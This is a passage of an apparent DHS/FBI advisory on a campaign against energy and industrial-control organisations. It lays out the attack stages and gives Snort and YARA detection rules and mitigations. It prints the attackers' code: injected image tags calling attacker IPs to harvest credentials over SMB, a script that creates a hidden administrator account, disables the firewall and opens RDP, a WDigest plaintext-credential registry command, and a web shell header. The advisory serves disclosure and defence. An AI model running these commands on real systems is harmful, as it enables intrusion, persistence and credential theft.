One of the threat actors’ primary uses for staging targets was to develop watering holes. Threat actors compromised the infrastructure of trusted organizations to reach intended targets. [3] Approximately half of the known watering holes are trade publications and informational websites related to process control, ICS, or critical infrastructure. Although these watering holes may host legitimate content developed by reputable organizations, the threat actors altered websites to contain and reference malicious content. The threat actors used legitimate credentials to access and directly modify the website content. The threat actors modified these websites by altering JavaScript and PHP files to request a file icon using SMB from an IP address controlled by the threat actors. This request accomplishes a similar technique observed in the spear-phishing documents for credential harvesting. In one instance, the threat actors added a line of code into the file “header.php”, a legitimate PHP file that carried out the redirected traffic.


<img src="[:]//62.8.193[.]206/main_logo.png" style="height: 1px; width: 1px;" />


In another instance, the threat actors modified the JavaScript file, “modernizr.js”, a legitimate JavaScript library used by the website to detect various aspects of the user’s browser. The file was modified to contain the contents below:


var i = document.createElement("img");

i.src = "[:]//184.154.150[.]66/ame_icon.png";

i.width = 3;



Stage 3: Delivery

When compromising staging target networks, the threat actors used spear-phishing emails that differed from previously reported TTPs. The spear-phishing emails used a generic contract agreement theme (with the subject line “AGREEMENT & Confidential”) and contained a generic PDF document titled ``document.pdf. (Note the inclusion of two single back ticks at the beginning of the attachment name.) The PDF was not malicious and did not contain any active code. The document contained a shortened URL that, when clicked, led users to a website that prompted the user for email address and password. (Note: no code within the PDF initiated a download.)

In previous reporting, DHS and FBI noted that all of these spear-phishing emails referred to control systems or process control systems. The threat actors continued using these themes specifically against intended target organizations. Email messages included references to common industrial control equipment and protocols. The emails used malicious Microsoft Word attachments that appeared to be legitimate résumés or curricula vitae (CVs) for industrial control systems personnel, and invitations and policy documents to entice the user to open the attachment.


Stage 4: Exploitation

The threat actors used distinct and unusual TTPs in the phishing campaign directed at staging targets. Emails contained successive redirects to http://bit[.]ly/2m0x8IH link, which redirected to http://tinyurl[.]com/h3sdqck link, which redirected to the ultimate destination of http://imageliners[.]com/nitel. The imageliner[.]com website contained input fields for an email address and password mimicking a login page for a website.

When exploiting the intended targets, the threat actors used malicious .docx files to capture user credentials. The documents retrieved a file through a “file://” connection over SMB using Transmission Control Protocol (TCP) ports 445 or 139. This connection is made to a command and control (C2) server—either a server owned by the threat actors or that of a victim. When a user attempted to authenticate to the domain, the C2 server was provided with the hash of the password. Local users received a graphical user interface (GUI) prompt to enter a username and password, and the C2 received this information over TCP ports 445 or 139. (Note: a file transfer is not necessary for a loss of credential information.) Symantec’s report associates this behavior to the Dragonfly threat actors in this campaign. [1]


Stage 5: Installation

The threat actors leveraged compromised credentials to access victims’ networks where multi-factor authentication was not used. [4] To maintain persistence, the threat actors created local administrator accounts within staging targets and placed malicious files within intended targets.


Establishing Local Accounts

The threat actors used scripts to create local administrator accounts disguised as legitimate backup accounts. The initial script “symantec_help.jsp” contained a one-line reference to a malicious script designed to create the local administrator account and manipulate the firewall for remote access. The script was located in “C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\tomcat\webapps\ROOT\”.


Contents of symantec_help.jsp


<% Runtime.getRuntime().exec("cmd /C \"" + System.getProperty("user.dir") + "\\..\\webapps\\ROOT\\<enu.cmd>\""); %>


The script “enu.cmd” created an administrator account, disabled the host-based firewall, and globally opened port 3389 for Remote Desktop Protocol (RDP) access. The script then attempted to add the newly created account to the administrators group to gain elevated privileges. This script contained hard-coded values for the group name “administrator” in Spanish, Italian, German, French, and English.


Contents of enu.cmd


netsh firewall set opmode disable

netsh advfirewall set allprofiles state off

reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List" /v 3389:TCP /t REG_SZ /d "3389:TCP:*:Enabled:Remote Desktop" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\GloballyOpenPorts\List" /v 3389:TCP /t REG_SZ /d "3389:TCP:*:Enabled:Remote Desktop" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core" /v EnableConcurrentSessions /t REG_DWORD /d 1 /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v EnableConcurrentSessions /t REG_DWORD /d 1 /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AllowMultipleTSSessions /t REG_DWORD /d 1 /f

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v MaxInstanceCount /t REG_DWORD /d 100 /f

net user MS_BACKUP <Redacted_Password> /add

net localgroup Administrators /add MS_BACKUP

net localgroup Administradores /add MS_BACKUP

net localgroup Amministratori /add MS_BACKUP

net localgroup Administratoren /add MS_BACKUP

net localgroup Administrateurs /add MS_BACKUP

net localgroup "Remote Desktop Users" /add MS_BACKUP

net user MS_BACKUP /expires:never

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v MS_BACKUP /t REG_DWORD /d 0 /f

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v dontdisplaylastusername /t REG_DWORD /d 1 /f

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

sc config termservice start= auto

net start termservice


DHS observed the threat actors using this and similar scripts to create multiple accounts within staging target networks. Each account created by the threat actors served a specific purpose in their operation. These purposes ranged from the creation of additional accounts to cleanup of activity. DHS and FBI observed the following actions taken after the creation of these local accounts:

Account 1: Account 1 was named to mimic backup services of the staging target. This account was created by the malicious script described earlier. The threat actor used this account to conduct open-source reconnaissance and remotely access intended targets.

Account 2: Account 1 was used to create Account 2 to impersonate an email administration account. The only observed action was to create Account 3.

Account 3: Account 3 was created within the staging victim’s Microsoft Exchange Server. A PowerShell script created this account during an RDP session while the threat actor was authenticated as Account 2. The naming conventions of the created Microsoft Exchange account followed that of the staging target (e.g., first initial concatenated with the last name).

Account 4: In the latter stage of the compromise, the threat actor used Account 1 to create Account 4, a local administrator account. Account 4 was then used to delete logs and cover tracks.


Scheduled Task

In addition, the threat actors created a scheduled task named reset, which was designed to automatically log out of their newly created account every eight hours.


VPN Software

After achieving access to staging targets, the threat actors installed tools to carry out operations against intended victims. On one occasion, threat actors installed the free version of FortiClient, which they presumably used as a VPN client to connect to intended target networks.


Password Cracking Tools

Consistent with the perceived goal of credential harvesting, the threat actors dropped and executed open source and free tools such as Hydra, SecretsDump, and CrackMapExec. The naming convention and download locations suggest that these files were downloaded directly from publically available locations such as GitHub. Forensic analysis indicates that many of these tools were executed during the timeframe in which the actor was accessing the system. Of note, the threat actors installed Python 2.7 on a compromised host of one staging victim, and a Python script was seen at C:\Users\<Redacted Username>\Desktop\OWAExchange\.



Once inside of an intended target’s network, the threat actor downloaded tools from a remote server. The initial versions of the file names contained .txt extensions and were renamed to the appropriate extension, typically .exe or .zip.

In one example, after gaining remote access to the network of an intended victim, the threat actor carried out the following actions:

  • The threat actor connected to 91.183.104[.]150 and downloaded multiple files, specifically the file INST.txt.
  • The files were renamed to new extensions, with INST.txt being renamed INST.exe.
  • The files were executed on the host and then immediately deleted.
  • The execution of INST.exe triggered a download of ntdll.exe, and shortly after, ntdll.exe appeared in the running process list of the compromised system of an intended target.
  • The registry value “ntdll” was added to the “HKEY_USERS\<USER SID>\Software\Microsoft\Windows\CurrentVersion\Run” key.


Persistence Through .LNK File Manipulation

The threat actors manipulated LNK files, commonly known as a Microsoft Window’s shortcut file, to repeatedly gather user credentials. Default Windows functionality enables icons to be loaded from a local or remote Windows repository. The threat actors exploited this built-in Windows functionality by setting the icon path to a remote server controller by the actors. When the user browses to the directory, Windows attempts to load the icon and initiate an SMB authentication session. During this process, the active user’s credentials are passed through the attempted SMB connection.

Four of the observed LNK files were “SETROUTE.lnk”, “notepad.exe.lnk”, “Document.lnk” and “desktop.ini.lnk”. These names appeared to be contextual, and the threat actor may use a variety of other file names while using this tactic. Two of the remote servers observed in the icon path of these LNK files were 62.8.193[.]206 and 5.153.58[.]45. Below is the parsed content of one of the LNK files:

Parsed output for file: desktop.ini.lnk

Registry Modification

The threat actor would modify key systems to store plaintext credentials in memory. In one instance, the threat actor executed the following command.


reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f


Stage 6: Command and Control

The threat actors commonly created web shells on the intended targets’ publicly accessible email and web servers. The threat actors used three different filenames (“global.aspx, autodiscover.aspx and index.aspx) for two different webshells. The difference between the two groups was the “public string Password” field.


Beginning Contents of the Web Shell


<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>

<%@ import Namespace="System"%>

<%@ import Namespace="System.IO"%>

<%@ import Namespace="System.Diagnostics"%>

<%@ import Namespace="System.Data"%>

<%@ import Namespace="System.Management"%>

<%@ import Namespace="System.Data.OleDb"%>

<%@ import Namespace="Microsoft.Win32"%>

<%@ import Namespace="System.Net.Sockets" %>

<%@ import Namespace="System.Net" %>

<%@ import Namespace="System.Runtime.InteropServices"%>

<%@ import Namespace="System.DirectoryServices"%>

<%@ import Namespace="System.ServiceProcess"%>

<%@ import Namespace="System.Text.RegularExpressions"%>

<%@ Import Namespace="System.Threading"%>

<%@ Import Namespace="System.Data.SqlClient"%>

<%@ import Namespace="Microsoft.VisualBasic"%>

<%@ Import Namespace="System.IO.Compression" %>

<%@ Assembly Name="System.DirectoryServices,Version=,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>

<%@ Assembly Name="System.Management,Version=,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>

<%@ Assembly Name="System.ServiceProcess,Version=,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>

<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "">

<script runat = "server">

public string Password = "<REDACTED>";

public string z_progname = "z_WebShell";



Stage 7: Actions on Objectives

DHS and FBI identified the threat actors leveraging remote access services and infrastructure such as VPN, RDP, and Outlook Web Access (OWA). The threat actors used the infrastructure of staging targets to connect to several intended targets.


Internal Reconnaissance

Upon gaining access to intended victims, the threat actors conducted reconnaissance operations within the network. DHS observed the threat actors focusing on identifying and browsing file servers within the intended victim’s network.

Once on the intended target’s network, the threat actors used privileged credentials to access the victim’s domain controller typically via RDP. Once on the domain controller, the threat actors used the batch scripts “dc.bat” and “dit.bat” to enumerate hosts, users, and additional information about the environment. The observed outputs (text documents) from these scripts were:

  • admins.txt
  • completed_dclist.txt
  • completed_trusts.txt
  • completed_zone.txt
  • comps.txt
  • conditional_forwarders.txt
  • domain_zone.txt
  • enum_zones.txt
  • users.txt

The threat actors also collected the files “ntds.dit” and the “SYSTEM” registry hive. DHS observed the threat actors compress all of these files into archives named “” and “”.

The threat actors used Windows’ scheduled task and batch scripts to execute “scr.exe” and collect additional information from hosts on the network. The tool “scr.exe” is a screenshot utility that the threat actor used to capture the screen of systems across the network. The MD5 hash of “scr.exe” matched the MD5 of ScreenUtil, as reported in the Symantec Dragonfly 2.0 report.

In at least two instances, the threat actors used batch scripts labeled “pss.bat” and “psc.bat” to run the PsExec tool. Additionally, the threat actors would rename the tool PsExec to “ps.exe”.

  1. The batch script (“pss.bat” or “psc.bat”) is executed with domain administrator credentials.
  2. The directory “out” is created in the user’s %AppData% folder.
  3. PsExec is used to execute “scr.exe” across the network and to collect screenshots of systems in “ip.txt”.
  4. The screenshot’s filename is labeled based on the computer name of the host and stored in the target’s C:\Windows\Temp directory with a “.jpg” extension.
  5. The screenshot is then copied over to the newly created “out” directory of the system where the batch script was executed.
  6. In one instance, DHS observed an “” file created.

DHS observed the threat actors create and modify a text document labeled “ip.txt” which is believed to have contained a list of host information. The threat actors used “ip.txt” as a source of hosts to perform additional reconnaissance efforts. In addition, the text documents “res.txt” and “err.txt” were observed being created as a result of the batch scripts being executed. In one instance, “res.txt” contained output from the Windows’ command “query user” across the network.


Using <Username> <Password>
Running -s cmd /c query user on <Hostname1>
Running -s cmd /c query user on <Hostname2>
Running -s cmd /c query user on <Hostname3>
<user1>                                              2       Disc       1+19:34         6/27/2017 12:35 PM


An additional batch script named “dirsb.bat” was used to gather folder and file names from hosts on the network.

In addition to the batch scripts, the threat actors also used scheduled tasks to collect screenshots with “scr.exe”. In two instances, the scheduled tasks were designed to run the command “C:\Windows\Temp\scr.exe” with the argument “C:\Windows\Temp\scr.jpg”. In another instance, the scheduled task was designed to run with the argument “pss.bat” from the local administrator’s “AppData\Local\Microsoft\” folder.

The threat actors commonly executed files out of various directories within the user’s AppData or Downloads folder. Some common directory names were

  • Chromex64,
  • Microsoft_Corporation,
  • NT,
  • Office365,
  • Temp, and
  • Update.


Targeting of ICS and SCADA Infrastructure

In multiple instances, the threat actors accessed workstations and servers on a corporate network that contained data output from control systems within energy generation facilities. The threat actors accessed files pertaining to ICS or supervisory control and data acquisition (SCADA) systems. Based on DHS analysis of existing compromises, these files were named containing ICS vendor names and ICS reference documents pertaining to the organization (e.g., “SCADA WIRING DIAGRAM.pdf” or “SCADA PANEL LAYOUTS.xlsx”).

The threat actors targeted and copied profile and configuration information for accessing ICS systems on the network. DHS observed the threat actors copying Virtual Network Connection (VNC) profiles that contained configuration information on accessing ICS systems. DHS was able to reconstruct screenshot fragments of a Human Machine Interface (HMI) that the threat actors accessed.


Cleanup and Cover Tracks

In multiple instances, the threat actors created new accounts on the staging targets to perform cleanup operations. The accounts created were used to clear the following Windows event logs: System, Security, Terminal Services, Remote Services, and Audit. The threat actors also removed applications they installed while they were in the network along with any logs produced. For example, the Fortinet client installed at one commercial facility was deleted along with the logs that were produced from its use. Finally, data generated by other accounts used on the systems accessed were deleted.

Threat actors cleaned up intended target networks through deleting created screenshots and specific registry keys. Through forensic analysis, DHS determined that the threat actors deleted the registry key associated with terminal server client that tracks connections made to remote systems. The threat actors also deleted all batch scripts, output text documents and any tools they brought into the environment such as “scr.exe”.


Detection and Response

IOCs related to this campaign are provided within the accompanying .csv and .stix files of this alert. DHS and FBI recommend that network administrators review the IP addresses, domain names, file hashes, network signatures, and YARA rules provided, and add the IPs to their watchlists to determine whether malicious activity has been observed within their organization. System owners are also advised to run the YARA tool on any system suspected to have been targeted by these threat actors.


Network Signatures and Host-Based Rules

This section contains network signatures and host-based rules that can be used to detect malicious activity associated with threat actor TTPs. Although these network signatures and host-based rules were created using a comprehensive vetting process, the possibility of false positives always remains.


Network Signatures

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/aspnet_client/system_web/4_0_30319/update/' (Beacon)"; sid:42000000; rev:1; flow:established,to_server; content:"/aspnet_client/system_web/4_0_30319/update/"; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;)


alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/img/bson021.dat'"; sid:42000001; rev:1; flow:established,to_server; content:"/img/bson021.dat"; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;)


alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/A56WY' (Callback)"; sid:42000002; rev:1; flow:established,to_server; content:"/A56WY"; http_uri; fast_pattern; classtype:bad-unknown; metadata:service http;)


alert tcp any any -> any 445 (msg:"SMB Client Request contains 'AME_ICON.PNG' (SMB credential harvesting)"; sid:42000003; rev:1; flow:established,to_server; content:"|FF|SMB|75 00 00 00 00|"; offset:4; depth:9; content:"|08 00 01 00|"; distance:3; content:"|00 5c 5c|"; distance:2; within:3; content:"|5c|AME_ICON.PNG"; distance:7; fast_pattern; classtype:bad-unknown; metadata:service netbios-ssn;)


alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI OPTIONS contains '/ame_icon.png' (SMB credential harvesting)"; sid:42000004; rev:1; flow:established,to_server; content:"/ame_icon.png"; http_uri; fast_pattern:only; content:"OPTIONS"; nocase; http_method; classtype:bad-unknown; metadata:service http;)


alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP Client Header contains 'User-Agent|3a 20|Go-http-client/1.1'"; sid:42000005; rev:1; flow:established,to_server; content:"User-Agent|3a 20|Go-http-client/1.1|0d 0a|Accept-Encoding|3a 20|gzip"; http_header; fast_pattern:only; pcre:"/\.(?:aspx|txt)\?[a-z0-9]{3}=[a-z0-9]{32}&/U"; classtype:bad-unknown; metadata:service http;)


alert tcp $EXTERNAL_NET [139,445] -> $HOME_NET any (msg:"SMB Server Traffic contains NTLM-Authenticated SMBv1 Session"; sid:42000006; rev:1; flow:established,to_client; content:"|ff 53 4d 42 72 00 00 00 00 80|"; fast_pattern:only; content:"|05 00|"; distance:23; classtype:bad-unknown; metadata:service netbios-ssn;)

YARA Rules

This is a consolidated rule set for malware associated with this activity. These rules were written by NCCIC and include contributions from trusted partners.



rule APT_malware_1



            description = "inveigh pen testing tools & related artifacts"

            author = "DHS | NCCIC Code Analysis Team"    

            date = "2017/07/17"

            hash0 = "61C909D2F625223DB2FB858BBDF42A76"

            hash1 = "A07AA521E7CAFB360294E56969EDA5D6"

            hash2 = "BA756DD64C1147515BA2298B6A760260"

            hash3 = "8943E71A8C73B5E343AA9D2E19002373"

            hash4 = "04738CA02F59A5CD394998A99FCD9613"

            hash5 = "038A97B4E2F37F34B255F0643E49FC9D"

            hash6 = "65A1A73253F04354886F375B59550B46"

            hash7 = "AA905A3508D9309A93AD5C0EC26EBC9B"

            hash8 = "5DBEF7BDDAF50624E840CCBCE2816594"

            hash9 = "722154A36F32BA10E98020A8AD758A7A"

            hash10 = "4595DBE00A538DF127E0079294C87DA0"


            $s0 = "file://"

            $s1 = "/ame_icon.png"

            $s2 = ""

            $s3 = { 87D081F60C67F5086A003315D49A4000F7D6E8EB12000081F7F01BDD21F7DE }

            $s4 = { 33C42BCB333DC0AD400043C1C61A33C3F7DE33F042C705B5AC400026AF2102 }

            $s5 = "(g.charCodeAt(c)^l[(l[b]+l[e])%256])"

            $s6 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"

            $s7 = "VXNESWJfSjY3grKEkEkRuZeSvkE="

            $s8 = "NlZzSZk="

            $s9 = "WlJTb1q5kaxqZaRnser3sw=="

            $s10 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"

            $s11 = "fromCharCode(d.charCodeAt(e)^k[(k[b]+k[h])%256])"

            $s12 = "ps.exe -accepteula \\%ws% -u %user% -p %pass% -s cmd /c netstat"

            $s13 = { 22546F6B656E733D312064656C696D733D5C5C222025254920494E20286C6973742E74787429 }

            $s14 = { 68656C6C2E657865202D6E6F65786974202D657865637574696F6E706F6C69637920627970617373202D636F6D6D616E6420222E202E5C496E76656967682E70 }

            $s15 = { 476F206275696C642049443A202266626433373937623163313465306531 }

//inveigh pentesting tools

            $s16 = { 24696E76656967682E7374617475735F71756575652E4164642822507265737320616E79206B657920746F2073746F70207265616C2074696D65 }

//specific malicious word document PK archive

            $s17 = { 2F73657474696E67732E786D6CB456616FDB3613FEFE02EF7F10F4798E64C54D06A14ED125F19A225E87C9FD0194485B }

            $s18 = { 6C732F73657474696E67732E786D6C2E72656C7355540500010076A41275780B0001040000000004000000008D90B94E03311086EBF014D6F4D87B48214471D2 }

            $s19 = { 8D90B94E03311086EBF014D6F4D87B48214471D210A41450A0E50146EBD943F8923D41C9DBE3A54A240ACA394A240ACA39 }

            $s20 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }

            $s21 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }

            $s22 = ""

            $s23 = ""

            $s24 = "/1/ree_stat/p"

            $s25 = "/icon.png"

            $s26 = "/pshare1/icon"

            $s27 = "/notepad.png"

            $s28 = "/pic.png"

            $s29 = ""



            ($s0 and $s1 or $s2) or ($s3 or $s4) or ($s5 and $s6 or $s7 and $s8 and $s9) or ($s10 and $s11) or ($s12 and $s13) or ($s14) or ($s15) or ($s16) or ($s17) or ($s18) or ($s19) or ($s20) or ($s21) or ($s0 and $s22 or $s24) or ($s0 and $s22 or $s25) or ($s0 and $s23 or $s26) or ($s0 and $s22 or $s27) or ($s0 and $s23 or $s28) or ($s29)





rule APT_malware_2



      description = "rule detects malware"

      author = "other"



      $api_hash = { 8A 08 84 C9 74 0D 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }

      $http_push = "X-mode: push" nocase

      $http_pop = "X-mode: pop" nocase



      any of them





rule Query_XML_Code_MAL_DOC_PT_2



     name= "Query_XML_Code_MAL_DOC_PT_2"

     author = "other"




            $zip_magic = { 50 4b 03 04 }

            $dir1 = "word/_rels/settings.xml.rels"

            $bytes = {8c 90 cd 4e eb 30 10 85 d7}



            $zip_magic at 0 and $dir1 and $bytes





rule Query_Javascript_Decode_Function



      name= "Query_Javascript_Decode_Function"

      author = "other"



      $decode1 = {72 65 70 6C 61 63 65 28 2F 5B 5E 41 2D 5A 61 2D 7A 30 2D 39 5C 2B 5C 2F 5C 3D 5D 2F 67 2C 22 22 29 3B}

      $decode2 = {22 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 2B 2F 3D 22 2E 69 6E 64 65 78 4F 66 28 ?? 2E 63 68 61 72 41 74 28 ?? 2B 2B 29 29}

      $decode3 = {3D ?? 3C 3C 32 7C ?? 3E 3E 34 2C ?? 3D 28 ?? 26 31 35 29 3C 3C 34 7C ?? 3E 3E 32 2C ?? 3D 28 ?? 26 33 29 3C 3C 36 7C ?? 2C ?? 2B 3D [1-2] 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29 2C 36 34 21 3D ?? 26 26 28 ?? 2B 3D 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29}

      $decode4 = {73 75 62 73 74 72 69 6E 67 28 34 2C ?? 2E 6C 65 6E 67 74 68 29}




      filesize < 20KB and #func_call > 20 and all of ($decode*)






rule Query_XML_Code_MAL_DOC



      name= "Query_XML_Code_MAL_DOC"

      author = "other"



      $zip_magic = { 50 4b 03 04 }

      $dir = "word/_rels/" ascii

      $dir2 = "word/theme/theme1.xml" ascii

      $style = "word/styles.xml" ascii



      $zip_magic at 0 and $dir at 0x0145 and $dir2 at 0x02b7 and $style at 0x08fd





rule z_webshell



            description = "Detection for the z_webshell"

            author = "DHS NCCIC Hunt and Incident Response Team"

            date = "2018/01/25"

            md5 =  "2C9095C965A55EFC46E16B86F9B7D6C6"



            $aspx_identifier1 = "<%@ " nocase ascii wide

            $aspx_identifier2 = "<asp:" nocase ascii wide

            $script_import = /(import|assembly) Name(space)?\=\"(System|Microsoft)/ nocase ascii wide

            $case_string = /case \"z_(dir|file|FM|sql)_/ nocase ascii wide

            $webshell_name = "public string z_progname =" nocase ascii wide

            $webshell_password = "public string Password =" nocase ascii wide



            1 of ($aspx_identifier*)

            and #script_import > 10

            and #case_string > 7

            and 2 of ($webshell_*)

            and filesize < 100KB



This actors’ campaign has affected multiple organizations in the energy, nuclear, water, aviation, construction, and critical manufacturing sectors.


DHS and FBI encourage network users and administrators to use the following detection and prevention guidelines to help defend against this activity.


Network and Host-based Signatures

DHS and FBI recommend that network administrators review the IP addresses, domain names, file hashes, and YARA and Snort signatures provided and add the IPs to their watch list to determine whether malicious activity is occurring within their organization. Reviewing network perimeter netflow will help determine whether a network has experienced suspicious activity. Network defenders and malware analysts should use the YARA and Snort signatures provided in the associated YARA and .txt file to identify malicious activity.


Detections and Prevention Measures

  • Users and administrators may detect spear phishing, watering hole, web shell, and remote access activity by comparing all IP addresses and domain names listed in the IOC packages to the following locations:
    • network intrusion detection system/network intrusion protection system logs,
    • web content logs,
    • proxy server logs,
    • domain name server resolution logs,
    • packet capture (PCAP) repositories,
    • firewall logs,
    • workstation Internet browsing history logs,
    • host-based intrusion detection system /host-based intrusion prevention system (HIPS) logs,
    • data loss prevention logs,
    • exchange server logs,
    • user mailboxes,
    • mail filter logs,
    • mail content logs,
    • AV mail logs,
    • OWA logs,
    • Blackberry Enterprise Server logs, and
    • Mobile Device Management logs.
  • To detect the presence of web shells on external-facing servers, compare IP addresses, filenames, and file hashes listed in the IOC packages with the following locations:
    • application logs,
    • IIS/Apache logs,
    • file system,
    • intrusion detection system/ intrusion prevention system logs,
    • PCAP repositories,
    • firewall logs, and
    • reverse proxy.
  • Detect spear-phishing by searching workstation file systems and network-based user directories, for attachment filenames and hashes found in the IOC packages.
  • Detect persistence in VDI environments by searching file shares containing user profiles for all .lnk files.
  • Detect evasion techniques by the actors by identifying deleted logs. This can be done by reviewing last-seen entries and by searching for event 104 on Windows system logs.
  • Detect persistence by reviewing all administrator accounts on systems to identify unauthorized accounts, especially those created recently.
  • Detect the malicious use of legitimate credentials by reviewing the access times of remotely accessible systems for all users. Any unusual login times should be reviewed by the account owners.
  • Detect the malicious use of legitimate credentials by validating all remote desktop and VPN sessions of any user’s credentials suspected to be compromised.
  • Detect spear-phishing by searching OWA logs for all IP addresses listed in the IOC packages.
  • Detect spear-phishing through a network by validating all new email accounts created on mail servers, especially those with external user access.
  • Detect persistence on servers by searching system logs for all filenames listed in the IOC packages.
  • Detect lateral movement and privilege escalation by searching PowerShell logs for all filenames ending in “.ps1” contained in the IOC packages. (Note: requires PowerShell version 5, and PowerShell logging must be enabled prior to the activity.)
  • Detect persistence by reviewing all installed applications on critical systems for unauthorized applications, specifically note FortiClient VPN and Python 2.7.
  • Detect persistence by searching for the value of “REG_DWORD 100” at registry location “HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal”. Services\MaxInstanceCount” and the value of “REG_DWORD 1” at location “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\dontdisplaylastusername”.
  • Detect installation by searching all proxy logs for downloads from URIs without domain names.


General Best Practices Applicable to this Campaign:

  • Prevent external communication of all versions of SMB and related protocols at the network boundary by blocking TCP ports 139 and 445 with related UDP port 137. See the NCCIC/US-CERT publication on SMB Security Best Practices for more information.
  • Block the Web-based Distributed Authoring and Versioning (WebDAV) protocol on border gateway devices on the network.
  • Monitor VPN logs for abnormal activity (e.g., off-hour logins, unauthorized IP address logins, and multiple concurrent logins).
  • Deploy web and email filters on the network. Configure these devices to scan for known bad domain names, sources, and addresses; block these before receiving and downloading messages. This action will help to reduce the attack surface at the network’s first level of defense. Scan all emails, attachments, and downloads (both on the host and at the mail gateway) with a reputable anti-virus solution that includes cloud reputation services.
  • Segment any critical networks or control systems from business systems and networks according to industry best practices.
  • Ensure adequate logging and visibility on ingress and egress points.
  • Ensure the use of PowerShell version 5, with enhanced logging enabled. Older versions of PowerShell do not provide adequate logging of the PowerShell commands an attacker may have executed. Enable PowerShell module logging, script block logging, and transcription. Send the associated logs to a centralized log repository for monitoring and analysis. See the FireEye blog post Greater Visibility through PowerShell Logging for more information.
  • Implement the prevention, detection, and mitigation strategies outlined in the NCCIC/US-CERT Alert TA15-314A – Compromised Web Servers and Web Shells – Threat Awareness and Guidance.
  • Establish a training mechanism to inform end users on proper email and web usage, highlighting current information and analysis, and including common indicators of phishing. End users should have clear instructions on how to report unusual or suspicious emails.
  • Implement application directory whitelisting. System administrators may implement application or application directory whitelisting through Microsoft Software Restriction Policy, AppLocker, or similar software. Safe defaults allow applications to run from PROGRAMFILES, PROGRAMFILES(X86), SYSTEM32, and any ICS software folders. All other locations should be disallowed unless an exception is granted.
  • Block RDP connections originating from untrusted external addresses unless an exception exists; routinely review exceptions on a regular basis for validity.
  • Store system logs of mission critical systems for at least one year within a security information event management tool.
  • Ensure applications are configured to log the proper level of detail for an incident response investigation.
  • Consider implementing HIPS or other controls to prevent unauthorized code execution.
  • Establish least-privilege controls.
  • Reduce the number of Active Directory domain and enterprise administrator accounts.
  • Based on the suspected level of compromise, reset all user, administrator, and service account credentials across all local and domain systems.
  • Establish a password policy to require complex passwords for all users.
  • Ensure that accounts for network administration do not have external connectivity.
  • Ensure that network administrators use non-privileged accounts for email and Internet access.
  • Use two-factor authentication for all authentication, with special emphasis on any external-facing interfaces and high-risk environments (e.g., remote access, privileged access, and access to sensitive data).
  • Implement a process for logging and auditing activities conducted by privileged accounts.
  • Enable logging and alerting on privilege escalations and role changes.
  • Periodically conduct searches of publically available information to ensure no sensitive information has been disclosed. Review photographs and documents for sensitive data that may have inadvertently been included.
  • Assign sufficient personnel to review logs, including records of alerts.
  • Complete independent security (as opposed to compliance) risk review.
  • Create and participate in information sharing programs.
  • Create and maintain network and system documentation to aid in timely incident response. Documentation should include network diagrams, asset owners, type of asset, and an incident response plan.


Report Notice

DHS encourages recipients who identify the use of tools or techniques discussed in this document to report information to DHS or law enforcement immediately. To request incident response resources or technical assistance, contact NCCIC at or 888-282-0870 and the FBI through a local field office or the FBI’s Cyber Division ( or 855-292-3937).

References Revision History
  • March 15, 2018: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Categories: Security

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